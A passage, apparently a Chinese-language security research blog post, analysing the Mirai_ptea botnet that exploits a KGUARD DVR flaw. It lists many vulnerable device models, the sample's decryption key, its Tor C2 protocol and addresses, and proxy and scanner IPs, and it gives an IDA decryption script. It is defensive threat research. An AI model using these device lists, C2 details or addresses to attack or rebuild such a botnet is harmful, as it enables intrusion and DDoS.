</tr>
<tr>
<td>D1132NR</td>
<td>HY-DVR</td>
<td>DM-300</td>
<td>1080P-HY32</td>
</tr>
<tr>
<td>D2116NR</td>
<td>SDR-B85300</td>
<td>DM-300</td>
<td>SDR-B85300</td>
</tr>
<tr>
<td>D973215U</td>
<td>F9-DVR32</td>
<td>DM-195</td>
<td>F9-DVR32</td>
</tr>
<tr>
<td>D9804AHD</td>
<td>DVR</td>
<td>DM-210</td>
<td>391115</td>
</tr>
<tr>
<td>D9804NAHD</td>
<td>AHD7-DVR4</td>
<td>DM-239</td>
<td>AHD7-DVR4</td>
</tr>
<tr>
<td>D9804NAHD</td>
<td>DVR</td>
<td>DM-239</td>
<td>720P-DVR04ND</td>
</tr>
<tr>
<td>D9804NAHD</td>
<td>NHDR</td>
<td>DM-239</td>
<td>NHDR-3104AHD-II</td>
</tr>
<tr>
<td>D9808NRAHD</td>
<td>AHD7-DVR8</td>
<td>DM-228</td>
<td>AHD7-DVR8</td>
</tr>
<tr>
<td>D9808NRAHD</td>
<td>DVR</td>
<td>DM-228</td>
<td></td>
</tr>
<tr>
<td>D9808NRAHD</td>
<td>DVR</td>
<td>DM-228</td>
<td>391116</td>
</tr>
<tr>
<td>D9808NRAHD</td>
<td>NHDR</td>
<td>DM-228</td>
<td>NHDR-3108AHD-II</td>
</tr>
<tr>
<td>D9808NRAHD</td>
<td>NHDR</td>
<td>DM-228</td>
<td>NHDR3108AHDII</td>
</tr>
<tr>
<td>D9816NAHD</td>
<td>DVR</td>
<td>DM-233</td>
<td>720P-DVR016N</td>
</tr>
<tr>
<td>D9816NAHD</td>
<td>NHDR</td>
<td>DM-233</td>
<td>NHDR3116AHDII</td>
</tr>
<tr>
<td>D9816NRAHD</td>
<td>AHD7-DVR16</td>
<td>DM-229</td>
<td>AHD7-DVR16</td>
</tr>
<tr>
<td>D9816NRAHD</td>
<td>DVR</td>
<td>DM-229</td>
<td>720P-DVR016NB</td>
</tr>
<tr>
<td>D9904</td>
<td>D9904</td>
<td>DM-237</td>
<td>1080P-DVR04</td>
</tr>
<tr>
<td>D9904</td>
<td>DVR</td>
<td>DM-237</td>
<td>1080P-DVR04</td>
</tr>
<tr>
<td>D9904</td>
<td>NHDR</td>
<td>DM-237</td>
<td>NHDR-5204AHD</td>
</tr>
<tr>
<td>D9904NR</td>
<td>DVR</td>
<td>DM-244</td>
<td>1080P-DVR04N</td>
</tr>
<tr>
<td>D9904NR</td>
<td>DVR</td>
<td>DM-244</td>
<td>BCS-VAVR0401M</td>
</tr>
<tr>
<td>D9904NR</td>
<td>HY-DVR</td>
<td>DM-244</td>
<td>CVD-AF04S</td>
</tr>
<tr>
<td>D9904NR</td>
<td>N420</td>
<td>DM-244</td>
<td>1080P-DVR04N</td>
</tr>
<tr>
<td>D9904NR</td>
<td>NHDR</td>
<td>DM-244</td>
<td>NHDR-5004AHD-II</td>
</tr>
<tr>
<td>D9904NR</td>
<td>NHDR</td>
<td>DM-244</td>
<td>NHDR5004AHDII</td>
</tr>
<tr>
<td>D9908</td>
<td>DVR</td>
<td>DM-245</td>
<td>BCS-VAVR0802Q</td>
</tr>
<tr>
<td>D9908</td>
<td>NHDR</td>
<td>DM-245</td>
<td>NHDR-5208AHD</td>
</tr>
<tr>
<td>D9908AHD</td>
<td>DVR</td>
<td>DM-246</td>
<td>1080P-DVR08A</td>
</tr>
<tr>
<td>D9908NR</td>
<td>AHD10-DVR8</td>
<td>DM-237</td>
<td>AHD10-DVR8</td>
</tr>
<tr>
<td>D9908NR</td>
<td>DVR</td>
<td>DM-237</td>
<td>1080P-DVR08N</td>
</tr>
<tr>
<td>D9908NR</td>
<td>DVR</td>
<td>DM-237</td>
<td>SVR9008ATHD/C</td>
</tr>
<tr>
<td>D9908NR</td>
<td>HY-DVR</td>
<td>DM-237</td>
<td>CVD-AF08S</td>
</tr>
<tr>
<td>D9908NR</td>
<td>N820</td>
<td>DM-237</td>
<td>1080P-DVR08N</td>
</tr>
<tr>
<td>D9908NR</td>
<td>NHDR</td>
<td>DM-237</td>
<td>NHDR-5008AHD-II</td>
</tr>
<tr>
<td>D9916NR</td>
<td>DVR</td>
<td>DM-245</td>
<td>1080P-DVR016NAT;UI</td>
</tr>
<tr>
<td>D9916NR</td>
<td>DVR</td>
<td>DM-245</td>
<td>HR-31-211620;UI</td>
</tr>
<tr>
<td>D9916NR</td>
<td>HY-DVR</td>
<td>DM-245</td>
<td>CVD-AF16S</td>
</tr>
<tr>
<td>D9916NR</td>
<td>NHDR</td>
<td>DM-245</td>
<td>NHDR-5016AHD-II</td>
</tr>
<tr>
<td>D9916NRAHD</td>
<td>DVR</td>
<td>DM-246</td>
<td>1080P-DVR016NA</td>
</tr>
<tr>
<td>D9916NRAHD</td>
<td>N1620</td>
<td>DM-246</td>
<td>1080P-DVR016NA</td>
</tr>
<tr>
<td>H1104W</td>
<td>SNR-73200W</td>
<td>DM-339</td>
<td>SNR-73200W</td>
</tr>
<tr>
<td>H1106W</td>
<td>LHB806</td>
<td>DM-291B</td>
<td>LHB806</td>
</tr>
<tr>
<td>H1106W</td>
<td>LHB906</td>
<td>DM-291B</td>
<td>LHB906</td>
</tr>
</tbody>
</table>
<h1 id="bot">Bot规模分析</h1>
<p>从我们的数据视野看，该botnet的活跃Bot源IP趋势如下：<br>
<img src="__GHOST_URL__/content/images/2021/06/Snip202110630_10.png" alt="Snip202110630_10" loading="lazy"></p>
<p>Bot源IP地理位置分布如下，主要集中在美国、韩国和巴西：<br>
<img src="__GHOST_URL__/content/images/2021/06/Snip20210629_1.png" alt="Snip20210629_1" loading="lazy"></p>
<h1 id="">样本分析</h1>
<p>本文选取以下样本为主要分析对象</p>
<pre><code>Verdict:mirai_ptea
MD5:c6ef442bc804fc5290d3617056492d4b
ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped
Packer:No
Lib:uclibc
</code></pre>
<p><code>c6ef442bc804fc5290d3617056492d4b</code>是一个Mirai的变种，基于其使用Tor Proxy和C2通信，以及TEA算法（Tiny Encryption Algorithm）隐藏敏感的资源信息，我们称之为<code>Mirai_ptea</code>。Mirai_ptea运行时在会Console输出字串<code>come at me krebs rimasuta go BRRT</code>，这就是有的研究人员将它称之为<code>Rimasuta</code>的原因，它在主机行为层面和Mirai很相似，并无亮点，因此这方面不再细述；在网络流量层面采用Tor Proxy，样本内嵌了大量的代理节点，而且Tor-C2被加密，下文将着重讨论加密方法和通信协议。</p>
<h1 id="">加密算法</h1>
<p>Mirai_ptea将所有的敏感资源信息加密并按一定的顺序存储，在IDA打开样本看到的字串信息如下所示，几乎没有可读的信息。</p>
<p><img src="__GHOST_URL__/content/images/2021/06/ptea_strtab.png" alt="ptea_strtab" loading="lazy"></p>
<p>下面的代码片段来自样本中解密相关函数，通过<code>红框中的常量</code>可以判定它使用的是TEA算法，</p>
<img src="__GHOST_URL__/content/images/2021/06/ptea_tea.png" width="860px" />
<p>密钥为：</p>
<pre><code>0xC26F6A52 0x24AA0006 0x8E1BF2C5 0x4BA51F8C
</code></pre>
<p>基于逆向分析，我们实现了<a href="#decrypt_str"><strong>附录</strong></a>的解密脚本，通过它可以获得所有的解密后的敏感资源以及它们的表项信息，部分资源信息如下所示：</p>
<img src="__GHOST_URL__/content/images/2021/06/ptea_decinfo.png" width="860px" />
<p>Mirai_ptea在使用加密资源时有2种操作方式</p>
<ul>
<li><strong>传统的Mirai方式</strong>，解密一个加密项，取值，加密一个解密后的项，即<code>var_unlock-->var_get-->var_lock</code>。例如在获取输出在Console上的信息时，就是通过这种方式。<br>
<img src="__GHOST_URL__/content/images/2021/06/ptea_var.png" alt="ptea_strtab" loading="lazy"></li>
</ul>
<p>表项0x11的值正是<code>come at me krebs rimasuta go BRRT</code>。</p>
<ul>
<li><strong>Mirai_ptea的方式</strong>，解密多个加密项，取值，重新加密已解密的项，即<code>rangeVar_unlock-->var_get-->rangeVar_lock</code>。例如在获取伪装进程名时，就是通过这种方式。</li>
</ul>
<p><img src="__GHOST_URL__/content/images/2021/06/ptea_rangevar.png" alt="ptea_strtab" loading="lazy"><br>
表项0x2c到0x2c+10的值如下所示，正是11个供选择的伪装进程名：</p>
<pre><code>index 0x2c, value = /bin/sh
index 0x2d, value = telnetd
index 0x2e, value = upnpc-static
index 0x2f, value = wsdd
index 0x30, value = proftpd
index 0x31, value = mini_httpd
index 0x32, value = udevd
index 0x33, value = /sbin/udhcpc
index 0x34, value = boa
index 0x35, value = /usr/sbin/inetd
index 0x36, value = dnsmasq
</code></pre>
<h1 id="">通信协议</h1>
<p>Mirai_ptea的网络流量概览如下图所示：</p>
<img src="__GHOST_URL__/content/images/2021/06/ptea_network.png" width="860px" />
<p>整个过程可以分成以下3个步骤：</p>
<p>1：和代理节点建立连接</p>
<p>2：和Tor C2建立连接</p>
<p>3：通过ptea自定义的协议和C2通信，接收C2下发的攻击指令。</p>
<h3 id="0x1">0x1. 和代理建立连接</h3>
<p>Mirai_ptea样本中内置了2组代理，它们在加密资源中的表项分别为0x2a,0x2b。Bot样本运行时，会在2组代理中随机选一组，然后在选中的组中随机选一个通过下面代码片段建立连接。</p>
<img src="__GHOST_URL__/content/images/2021/06/ptea_proxy.png" width="860px" />
<p>其中<code>0x2a</code>中一共有38个代理节点，格式为<code>ip:port</code></p>
<img src="__GHOST_URL__/content/images/2021/06/ptea_0x2a.png" width="860px" />
<p>而<code>0x2b</code>中一共有个334个代理节点，格式为<code>ip</code>，这组代理的端口为固定的9050。</p>
<img src="__GHOST_URL__/content/images/2021/06/ptea_0x2b.png" width="860px" />
<p>详细的代理列表见附录。</p>
<h3 id="0x2torproxyc2">0x2. 通过Tor-Proxy协议和C2建立连接</h3>
<p><img src="__GHOST_URL__/content/images/2021/06/ptea_c2.png" alt="ptea_strtab" loading="lazy"></p>
<p>可以看出C2在加密资源中的表项为<code>0xD</code>，解密后得到下面字串：</p>
<pre><code>rkz2f5u57cvs3kdt6amdku2uhly2esj7m2336dttvcygloivcgsmxjjnuickasbuatxajrovi4lvd2zjuejivzrb3vobuoezbc6z3gtu6b3r5tce.onion
</code></pre>
<p>将上面字串排除尾部的“.onion”后以长度16分割，然后和尾部的<code>.onion</code>字串进行拼接，就得到了以下7个C2。</p>
<pre><code>rkz2f5u57cvs3kdt.onion
6amdku2uhly2esj7.onion
m2336dttvcygloiv.onion
cgsmxjjnuickasbu.onion
atxajrovi4lvd2zj.onion
uejivzrb3vobuoez.onion
bc6z3gtu6b3r5tce.onion
</code></pre>
<h3 id="0x3c2">0x3. 通过自定义的协议和C2进行通信，具体的上线，心跳，攻击如下所示</h3>
<ul>
<li>上线<br>
<img src="__GHOST_URL__/content/images/2021/06/ptea_reg.png" width="860px" /></li>
</ul>
<pre><code>msg parsing
----------------------------------------------------------------
3e c7 e3 1e 37 47 61 20 ----->hardcoded msg from Bot
b1 2f de ce cb 89 e1 a0 ----->cmd from C2,ask Bot to upload info
3a 31 34 b5 02 00 ----->hardcoded 6 bytes msg from Bot
b4 a3 e1 16 ----->ip of infected device
04 ----->group string length
74 65 73 74 ----->group string
79 ----->padding
</code></pre>
<ul>
<li>心跳<br>
<img src="__GHOST_URL__/content/images/2021/06/ptea_heart.png" width="860px" /></li>
</ul>
<pre><code>msg parsing
----------------------------------------------------------------
2a 23 -----> random 2 bytes msg from Bot
2a 23 -----> random 2 bytes msg from C2
</code></pre>
<ul>
<li>攻击指令，前4字节<code>AD AF FE 7F</code>为固定的幻数，剩余部分与mirai的攻击指令格式类似</li>
</ul>
<pre><code>00000000: AD AF FE 7F 1E 00 00 00 00 01 B9 98 42 65 20 00 ............Be .
00000010: 42 65 20 00
</code></pre>
<h1 id="ddos">DDoS攻击活动</h1>
<p>从我们的DDoS跟踪系统看，该僵尸网络已经发起实际的DDoS攻击，下图为我们观察到的该僵尸网络的一些DDoS攻击指令：<br>
<a href="__GHOST_URL__/content/images/2021/06/mirai_ptea_atk_cmd_4c.png"><img src="__GHOST_URL__/content/images/2021/06/mirai_ptea_atk_cmd_4.png" class="kg-image"/></a></p>
<h1 id="">联系我们</h1>
<p>感兴趣的读者，可以在 <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> 或者通过邮件<strong>netlab[at]360.cn</strong>联系我们。</p>
<h1 id="ioc">IoC</h1>
<h2 id="torc2">Tor-C2</h2>
<pre><code>bc6z3gtu6b3r5tce.onion:3742
cgsmxjjnuickasbu.onion:992
uejivzrb3vobuoez.onion:5353
rkz2f5u57cvs3kdt.onion:280
atxajrovi4lvd2zj.onion:110
6amdku2uhly2esj7.onion:513
m2336dttvcygloiv.onion:666
</code></pre>
<h2 id="samplemd5">Sample MD5</h2>
<pre><code>c6ef442bc804fc5290d3617056492d4b
f849fdd79d433e2828473f258ffddaab
</code></pre>
<h2 id="downloaderurl">Downloader URL</h2>
<pre><code>http://193[.177.182.221/boot
</code></pre>
<h2 id="scannerip">Scanner IP</h2>
<pre><code>205.185.117.21 AS53667|FranTech_Solutions United_States|Nevada|Las_Vegas
205.185.114.55 AS53667|FranTech_Solutions United_States|Nevada|Las_Vegas
68.183.109.6 AS14061|DigitalOcean,_LLC United_States|New_York|New_York_City
67.205.163.141 AS14061|DigitalOcean,_LLC United_States|New_York|New_York_City
165.227.88.215 AS14061|DigitalOcean,_LLC United_States|New_York|New_York_City
</code></pre>
<h2 id="proxys">Proxys</h2>
<pre><code>---------proxys at index 0x2a，count=38---------
149.202.9.7:9898
91.134.216.103:16358
84.32.188.34:1157
51.178.185.237:32
65.21.16.80:23560
149.202.9.14:19765
146.59.11.109:5089
195.189.96.61:29582
84.32.188.37:1454
51.195.209.80:26848
5.199.174.242:27931
95.179.158.147:22413
146.59.11.103:1701
185.150.117.10:29086
149.56.154.210:24709
135.148.11.151:3563
51.195.152.255:25107
45.79.193.124:7158
135.148.11.150:5560
185.150.117.41:20790
135.125.250.120:14498
172.106.70.135:692
195.189.96.60:9700
172.106.70.134:25054
149.56.154.211:21299
108.61.218.205:29240
51.178.185.236:21685
51.81.139.251:6255
51.255.237.164:963
51.81.139.249:32380
139.162.45.218:5165
65.21.16.94:28056
207.148.74.163:32389
172.104.100.78:1039
45.32.8.100:19759
141.164.46.133:2205
172.105.36.167:10843
172.105.180.239:19531
---------proxys at index 0x2b，count=334，port=9050---------
Too many, not list here, you can get them via the IDA script
</code></pre>
<h1 id="aiddecrypt_stridaa"><a id="decrypt_str">附录（IDA解密脚本）</a></h1>
<pre><code># IDAPYTHON SCRIPT for md5 c6ef442bc804fc5290d3617056492d4b only.
# Tested at ida 7.0
from ctypes import *
import struct
print "-------------------decryption start------------------------"
key=[0xC26F6A52,0x24AA0006,0x8E1BF2C5,0x4BA51F8C]
def tea_dec(buf,key):
rbuf=""
fmt = '>' + str(len(buf)/4) + 'I'
tbuf= struct.unpack_from(fmt,buf)
j=0
for i in range(0,len(tbuf)/2):
v1=c_uint32(tbuf[i+j])
v2=c_uint32(tbuf[i+1+j])
sum=c_uint32(0xC6EF3720)
while(sum.value):
v2.value -= ((v1.value>>5)+key[3]) ^(v1.value+sum.value)^ ((v1.value<<4)+key[2])
v1.value -= ((v2.value>>5)+key[1]) ^(v2.value+sum.value)^ ((v2.value<<4)+key[0])
sum.value+=0x61C88647
rbuf +=struct.pack(">I",v1.value)+struct.pack(">I",v2.value)
j+=1
return rbuf
def getbuff(addr):
buf = ""
while idc.get_bytes(addr, 2) != "\x00\x00":
buf += idc.get_bytes(addr, 1)
addr += 1
return buf
# pay attention to function at 0x0000D074
a=getbuff(idc.get_wide_dword(0x00019C9C))
buf=[]
#0x19c9c-0x199f0 --> 684
for i in range(0,684,12):
offset=idc.get_wide_word(0x000199F4+i)
length=idc.get_wide_word(0x000199F4+i+2)
buf.append(a[offset:offset+length])
c2=[]
#684/12 --> 57
for i in range(57):
decbuf=tea_dec(buf[i],key)
if(".onion" in decbuf):
c2.append(decbuf)
print "index %x, value = %s" %(i,decbuf)
print "-------------------decryption end---------------"
proxya=tea_dec(buf[0x2a],key)
pacnt=struct.unpack("<H",proxya[2:4])
proxy=[]
port=[]
tmp=proxya[4:4+6*(pacnt[0])]
print "------------proxys at index 0x2A, count= %d------------" %(pacnt[0])
for i in range(0,len(tmp),6):
proxy.append(struct.unpack(">I",tmp[i:i+4])[0])
port.append(struct.unpack("<H",tmp[i+4:i+6])[0])
for i in range(pacnt[0]):
a=struct.pack(">I",proxy[i])
ip=""
for j in range(4):
ip+=str(ord(a[j]))
if j!=3:
ip+="."
print"%s:%d" %(ip,port[i])
proxyb=tea_dec(buf[0x2b],key)
pbcnt=struct.unpack("<H",proxyb[2:4])
fmt = '>' + str(pbcnt[0]) + 'I'
tmp=proxyb[4:4*(pbcnt[0]+1)]
print "------------proxys at index 0x2B, count= %d------------" %(pbcnt[0])
xxxxx=struct.unpack(fmt,tmp)
for i in xxxxx:
a=struct.pack(">I",i)
ip=""
for i in range(4):
ip+=str(ord(a[i]))
if i!=3:
ip+="."
print ip
print "-------------------------onion info--------------"
if len(c2)!=0:
for i in c2:
pos=i.find(".onion")
for j in range(0,pos,16):
print i[j:16+j]+".onion"
else:
print "Don't find the onion c2"
</code></pre>
<!--kg-card-end: markdown--> | 版权
版权声明：本文为Netlab原创，依据 CC BY-SA 4.0 许可证进行授权，转载请附上出处链接及本声明。
概述
2021-06-22我们检测到一个我们命名为mirai_ptea的mirai变种样本通过未知漏洞传播。经过分析，该漏洞为KGUARD DVR未公开的漏洞。从我们的分析看该漏洞存在于2016年的固件版本中。我们能找到的2017年之后的固件厂家均已经修复该漏洞。有意思的是，一天以后，6月23日，我们收到安全社区的询问，咨询我们是否看到一种新的DDoS攻击botnet。交叉对比线索，居然就是我们刚发现的这个botnet，目前看。这个僵尸网络处于活跃的攻击状态(见最后)。
时间线
* 2021-03-22 我们历史数据首次观察到针对该漏洞的探测扫描
* 2021-06-22 我们观察到mirai_ptea样本利用该漏洞传播
* 2021-06-23 我们收到安全社区的询问是否看到一种新的DDoS攻击botnet
* 2021-06-25 我们观察到mirai_aurora样本利用该漏洞传播
漏洞分析
鉴于我们并未发现该漏洞的公开资料，为防止该漏洞被滥用，此处我们将隐藏部分关键信息。
KGUARD DVR 2016年的固件上的***程序监听在0.0.0.0的*****端口无需认证即可远程执行系统命令。 最新的固件中厂家通过修改监听地址为127.0.0.1修复了该漏洞。部分利用payload如下：
受影响设备分析
通过探测我们发现至少3千左右的在线设备依然存在该漏洞。已知仍然受影响设备如下:
DeviceType
ProductType
HardVersion
DefDeviceName
D1004NR
DVR4-1600
DM-268A
DVR4-1600
D1004NR
HY-DVR
DM-268
720P-HY04N
D1004NR
HY-DVR
DM-268A
720P-HY04N
D1004NR
HY-DVR
DM-274
720P-HY04N
D1004NR
HY-DVR
DM-274B
720P-HY04N
D1004NR
NHDR
DM-274
NHDR-3204AHD
D1004NR
RL-AHD4n
DM-268
720P-HY04N
D1008NR
1093/508N-DVRBM08H
DM-292
720P-HY08N
D1008NR
DVR8-1600
DM-298
DVR8-1600
D1008NR
DVR8-HDA10L
DM-292
DVR8-HDA10L
D1008NR
HD881
DM-292
HD881
D1008NR
HY-DVR
DM-292
720P-HY08N
D1008NR
HY-DVR
DM-298
720P-HY08N
D1008NR
NHDR
DM-298
NHDR-3208AHD
D1008NR
RL-AHD8n
DM-292
720P-HY08N
D1016NR
DVR16-HDA10L
DM-303
DVR16-HDA10L
D1016NR
HD1681
DM-303
HD1681
D1016NR
HY-DVR
DM-303A
720P-HY16N
D1016NR
HY-DVR
DM-310
720P-HY16N
D1016NR
HY-DVR
DM-310A
720P-HY16N
D1016NR
NHDR
DM-310
NHDR-3216AHD
D1016NR
RL-MHD16n(21A)
DM-310A
720P-HY16N
D1104
HY-DVR
DM-290A
1080P-HY04
D1104
NHDR
DM-307
NHDR-5304AHD
D1104NR
HD1T4
DM-291A
1080P-04
D1104NR
HD481
DM-291
HD481
D1104NR
HRD-E430L
DM-291A
HRD-E430L
D1104NR
HY-DVR
DM-284
1080P-HY04N
D1104NR
HY-DVR
DM-291
"Panda
D1104NR
HY-DVR
DM-291
1080P-HY04N
D1104NR
HY-DVR
DM-291A
1080P-HY04N
D1104NR
HY-DVR
DM-291C
LRA3040N
D1104NR
NHDR
DM-307
NHDR-5104AHD
D1104NR
SDR-B73303
DM-291A
SDR-B73303
D1104NR
SVR9204H
DM-291A
1080P-HY04N
D1108NR
1093/538P
DM-290
1080P-HY08N
D1108NR
DVR8-4575
DM-290
DVR8-4575
D1108NR
DVR8-HDA10P
DM-290
DVR8-HDA10P
D1108NR
HRD-E830L
DM-290A
HRD-E830L
D1108NR
HY-DVR
DM-290
1080P-HY08N
D1108NR
HY-DVR
DM-290A
1080P-HY08N
D1108NR
HY-DVR
DM-290A
LRA3080N
D1108NR
NHDR
DM-307
NHDR-5108AHD
D1108NR
RL-AHD8p
DM-290
1080P-HY08N
D1108NR
SDR-B74301
DM-290A
SDR-B74301
D1108NR
SDR-B74303
DM-290A
SDR-B74303
D1116
HY-DVR
DM-300
EHR-5164
D1116NR
HRD-E1630L
DM-295
HRD-E1630L
D1116NR
HY-DVR
DM-295
1080P-HY16N
D1116NR
HY-DVR
DM-295
LRA3160N
D1116NR
HY-DVR
DM-299
1080P-HY16N
D1116NR
SDR-B75303
DM-295
SDR-B75303
D1132NR
HY-DVR
DM-300
1080P-HY32
D2116NR
SDR-B85300
DM-300
SDR-B85300
D973215U
F9-DVR32
DM-195
F9-DVR32
D9804AHD
DVR
DM-210
391115
D9804NAHD
AHD7-DVR4
DM-239
AHD7-DVR4
D9804NAHD
DVR
DM-239
720P-DVR04ND
D9804NAHD
NHDR
DM-239
NHDR-3104AHD-II
D9808NRAHD
AHD7-DVR8
DM-228
AHD7-DVR8
D9808NRAHD
DVR
DM-228
D9808NRAHD
DVR
DM-228
391116
D9808NRAHD
NHDR
DM-228
NHDR-3108AHD-II
D9808NRAHD
NHDR
DM-228
NHDR3108AHDII
D9816NAHD
DVR
DM-233
720P-DVR016N
D9816NAHD
NHDR
DM-233
NHDR3116AHDII
D9816NRAHD
AHD7-DVR16
DM-229
AHD7-DVR16
D9816NRAHD
DVR
DM-229
720P-DVR016NB
D9904
D9904
DM-237
1080P-DVR04
D9904
DVR
DM-237
1080P-DVR04
D9904
NHDR
DM-237
NHDR-5204AHD
D9904NR
DVR
DM-244
1080P-DVR04N
D9904NR
DVR
DM-244
BCS-VAVR0401M
D9904NR
HY-DVR
DM-244
CVD-AF04S
D9904NR
N420
DM-244
1080P-DVR04N
D9904NR
NHDR
DM-244
NHDR-5004AHD-II
D9904NR
NHDR
DM-244
NHDR5004AHDII
D9908
DVR
DM-245
BCS-VAVR0802Q
D9908
NHDR
DM-245
NHDR-5208AHD
D9908AHD
DVR
DM-246
1080P-DVR08A
D9908NR
AHD10-DVR8
DM-237
AHD10-DVR8
D9908NR
DVR
DM-237
1080P-DVR08N
D9908NR
DVR
DM-237
SVR9008ATHD/C
D9908NR
HY-DVR
DM-237
CVD-AF08S
D9908NR
N820
DM-237
1080P-DVR08N
D9908NR
NHDR
DM-237
NHDR-5008AHD-II
D9916NR
DVR
DM-245
1080P-DVR016NAT;UI
D9916NR
DVR
DM-245
HR-31-211620;UI
D9916NR
HY-DVR
DM-245
CVD-AF16S
D9916NR
NHDR
DM-245
NHDR-5016AHD-II
D9916NRAHD
DVR
DM-246
1080P-DVR016NA
D9916NRAHD
N1620
DM-246
1080P-DVR016NA
H1104W
SNR-73200W
DM-339
SNR-73200W
H1106W
LHB806
DM-291B
LHB806
H1106W
LHB906
DM-291B
LHB906
Bot规模分析
从我们的数据视野看，该botnet的活跃Bot源IP趋势如下：
Bot源IP地理位置分布如下，主要集中在美国、韩国和巴西：
样本分析
本文选取以下样本为主要分析对象
Verdict:mirai_ptea
MD5:c6ef442bc804fc5290d3617056492d4b
ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped
Packer:No
Lib:uclibc
c6ef442bc804fc5290d3617056492d4b是一个Mirai的变种，基于其使用Tor Proxy和C2通信，以及TEA算法（Tiny Encryption Algorithm）隐藏敏感的资源信息，我们称之为Mirai_ptea。Mirai_ptea运行时在会Console输出字串come at me krebs rimasuta go BRRT，这就是有的研究人员将它称之为Rimasuta的原因，它在主机行为层面和Mirai很相似，并无亮点，因此这方面不再细述；在网络流量层面采用Tor Proxy，样本内嵌了大量的代理节点，而且Tor-C2被加密，下文将着重讨论加密方法和通信协议。
加密算法
Mirai_ptea将所有的敏感资源信息加密并按一定的顺序存储，在IDA打开样本看到的字串信息如下所示，几乎没有可读的信息。
下面的代码片段来自样本中解密相关函数，通过红框中的常量可以判定它使用的是TEA算法，
密钥为：
0xC26F6A52 0x24AA0006 0x8E1BF2C5 0x4BA51F8C
基于逆向分析，我们实现了附录的解密脚本，通过它可以获得所有的解密后的敏感资源以及它们的表项信息，部分资源信息如下所示：
Mirai_ptea在使用加密资源时有2种操作方式
* 传统的Mirai方式，解密一个加密项，取值，加密一个解密后的项，即var_unlock-->var_get-->var_lock。例如在获取输出在Console上的信息时，就是通过这种方式。
表项0x11的值正是come at me krebs rimasuta go BRRT。
* Mirai_ptea的方式，解密多个加密项，取值，重新加密已解密的项，即rangeVar_unlock-->var_get-->rangeVar_lock。例如在获取伪装进程名时，就是通过这种方式。
表项0x2c到0x2c+10的值如下所示，正是11个供选择的伪装进程名：
index 0x2c, value = /bin/sh
index 0x2d, value = telnetd
index 0x2e, value = upnpc-static
index 0x2f, value = wsdd
index 0x30, value = proftpd
index 0x31, value = mini_httpd
index 0x32, value = udevd
index 0x33, value = /sbin/udhcpc
index 0x34, value = boa
index 0x35, value = /usr/sbin/inetd
index 0x36, value = dnsmasq
通信协议
Mirai_ptea的网络流量概览如下图所示：
整个过程可以分成以下3个步骤：
1：和代理节点建立连接
2：和Tor C2建立连接
3：通过ptea自定义的协议和C2通信，接收C2下发的攻击指令。
0x1. 和代理建立连接
Mirai_ptea样本中内置了2组代理，它们在加密资源中的表项分别为0x2a,0x2b。Bot样本运行时，会在2组代理中随机选一组，然后在选中的组中随机选一个通过下面代码片段建立连接。
其中0x2a中一共有38个代理节点，格式为ip:port
而0x2b中一共有个334个代理节点，格式为ip，这组代理的端口为固定的9050。
详细的代理列表见附录。
0x2. 通过Tor-Proxy协议和C2建立连接
可以看出C2在加密资源中的表项为0xD，解密后得到下面字串：
rkz2f5u57cvs3kdt6amdku2uhly2esj7m2336dttvcygloivcgsmxjjnuickasbuatxajrovi4lvd2zjuejivzrb3vobuoezbc6z3gtu6b3r5tce.onion
将上面字串排除尾部的“.onion”后以长度16分割，然后和尾部的.onion字串进行拼接，就得到了以下7个C2。
rkz2f5u57cvs3kdt.onion
6amdku2uhly2esj7.onion
m2336dttvcygloiv.onion
cgsmxjjnuickasbu.onion
atxajrovi4lvd2zj.onion
uejivzrb3vobuoez.onion
bc6z3gtu6b3r5tce.onion
0x3. 通过自定义的协议和C2进行通信，具体的上线，心跳，攻击如下所示
* 上线
msg parsing
----------------------------------------------------------------
3e c7 e3 1e 37 47 61 20 ----->hardcoded msg from Bot
b1 2f de ce cb 89 e1 a0 ----->cmd from C2,ask Bot to upload info
3a 31 34 b5 02 00 ----->hardcoded 6 bytes msg from Bot
b4 a3 e1 16 ----->ip of infected device
04 ----->group string length
74 65 73 74 ----->group string
79 ----->padding
* 心跳
msg parsing
----------------------------------------------------------------
2a 23 -----> random 2 bytes msg from Bot
2a 23 -----> random 2 bytes msg from C2
* 攻击指令，前4字节AD AF FE 7F为固定的幻数，剩余部分与mirai的攻击指令格式类似
00000000: AD AF FE 7F 1E 00 00 00 00 01 B9 98 42 65 20 00 ............Be .
00000010: 42 65 20 00
DDoS攻击活动
从我们的DDoS跟踪系统看，该僵尸网络已经发起实际的DDoS攻击，下图为我们观察到的该僵尸网络的一些DDoS攻击指令：
联系我们
感兴趣的读者，可以在 twitter 或者通过邮件netlab[at]360.cn联系我们。
IoC
Tor-C2
bc6z3gtu6b3r5tce.onion:3742
cgsmxjjnuickasbu.onion:992
uejivzrb3vobuoez.onion:5353
rkz2f5u57cvs3kdt.onion:280
atxajrovi4lvd2zj.onion:110
6amdku2uhly2esj7.onion:513
m2336dttvcygloiv.onion:666
Sample MD5
c6ef442bc804fc5290d3617056492d4b
f849fdd79d433e2828473f258ffddaab
Downloader URL
http://193[.177.182.221/boot
Scanner IP
205.185.117.21 AS53667|FranTech_Solutions United_States|Nevada|Las_Vegas
205.185.114.55 AS53667|FranTech_Solutions United_States|Nevada|Las_Vegas
68.183.109.6 AS14061|DigitalOcean,_LLC United_States|New_York|New_York_City
67.205.163.141 AS14061|DigitalOcean,_LLC United_States|New_York|New_York_City
165.227.88.215 AS14061|DigitalOcean,_LLC United_States|New_York|New_York_City
Proxys
---------proxys at index 0x2a，count=38---------
149.202.9.7:9898
91.134.216.103:16358
84.32.188.34:1157
51.178.185.237:32
65.21.16.80:23560
149.202.9.14:19765
146.59.11.109:5089
195.189.96.61:29582
84.32.188.37:1454
51.195.209.80:26848
5.199.174.242:27931
95.179.158.147:22413
146.59.11.103:1701
185.150.117.10:29086
149.56.154.210:24709
135.148.11.151:3563
51.195.152.255:25107
45.79.193.124:7158
135.148.11.150:5560
185.150.117.41:20790
135.125.250.120:14498
172.106.70.135:692
195.189.96.60:9700
172.106.70.134:25054
149.56.154.211:21299
108.61.218.205:29240
51.178.185.236:21685
51.81.139.251:6255
51.255.237.164:963
51.81.139.249:32380
139.162.45.218:5165
65.21.16.94:28056
207.148.74.163:32389
172.104.100.78:1039
45.32.8.100:19759
141.164.46.133:2205
172.105.36.167:10843
172.105.180.239:19531
---------proxys at index 0x2b，count=334，port=9050---------
Too many, not list here, you can get them via the IDA script
附录（IDA解密脚本）
